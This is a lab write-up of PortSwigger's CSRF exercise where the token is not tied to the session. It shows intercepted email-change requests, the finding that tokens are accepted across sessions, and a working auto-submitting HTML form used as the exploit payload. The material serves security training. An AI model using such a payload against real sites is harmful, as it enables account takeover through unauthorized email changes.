Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — Token Not Session-Bound
Difficulty Practitioner
Target 0a840009036938f682ae7a69006500a9.web-security-academy.net
Objective Change the victim's email address using a valid but session-unbound CSRF token

CSRF Where Token Is Not Tied to User Session — Writeup


Initial Observation

Two accounts available: wiener:peter and carlos:montoya. Both logged in simultaneously in separate browser windows.

Screenshot

Web — Email Change Request Analysis

Intercepting the email update request for wiener:

Screenshot
POST /my-account/change-email HTTP/2
[email protected]&csrf=KzsleRfb9OhQ4SzPJICZZ8quy2HQaueB

Testing the standard bypasses first:

  • Dropping the token entirely → 400 Bad Request: Missing parameter 'csrf' — token is required.
  • Switching to GET → 405 Method Not Allowed — method switching is blocked.

Neither shortcut works here. The token has to be present and valid.


Cross-Account Token Reuse

The lab description says tokens aren't integrated into session handling. The hypothesis: a token generated for one user's session might be valid for a request from a completely different session.

Intercepting a new email change request for wiener and capturing the token without sending the request:

POST /my-account/change-email HTTP/2
[email protected]&csrf=ZwyZoIa5cL4fKwzVG3UfxKg96ohwNtlV

Dropping the request in Burp — wiener's session never uses this token:

Screenshot
Screenshot

Now submitting that same token from carlos's session:

POST /my-account/change-email HTTP/2
[email protected]&csrf=ZwyZoIa5cL4fKwzVG3UfxKg96ohwNtlV
Screenshot

302 Found — email changed. The server accepted a token generated under wiener's session and used it to modify carlos's account. Tokens are stored in a global pool, not per-session. Any valid unused token works for any user.

Building the PoC

Intercepting one more request from wiener to grab a fresh unused token:

Screenshot
POST /my-account/change-email HTTP/2
email=teto%40test.com&csrf=jXU8ve6dYGMmPvYHn43KQOSQ893QTdyr

Request dropped — token captured, never consumed. Crafting the PoC with this token hardcoded:

<form class="login-form" name="change-email-form" action="https://0a840009036938f682ae7a69006500a9.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="[email protected]">
    <input required="" type="hidden" name="csrf" value="jXU8ve6dYGMmPvYHn43KQOSQ893QTdyr">
</form>

<script>
    document.forms[0].submit();
</script>

Pasting into the exploit server body, storing, and delivering to the victim:

Screenshot

The victim's browser fires the POST with the hardcoded token and their own session cookie. The server validates the token against the global pool — it's there, it's unused, it passes. Email changed to [email protected]. Lab solved :P

Resources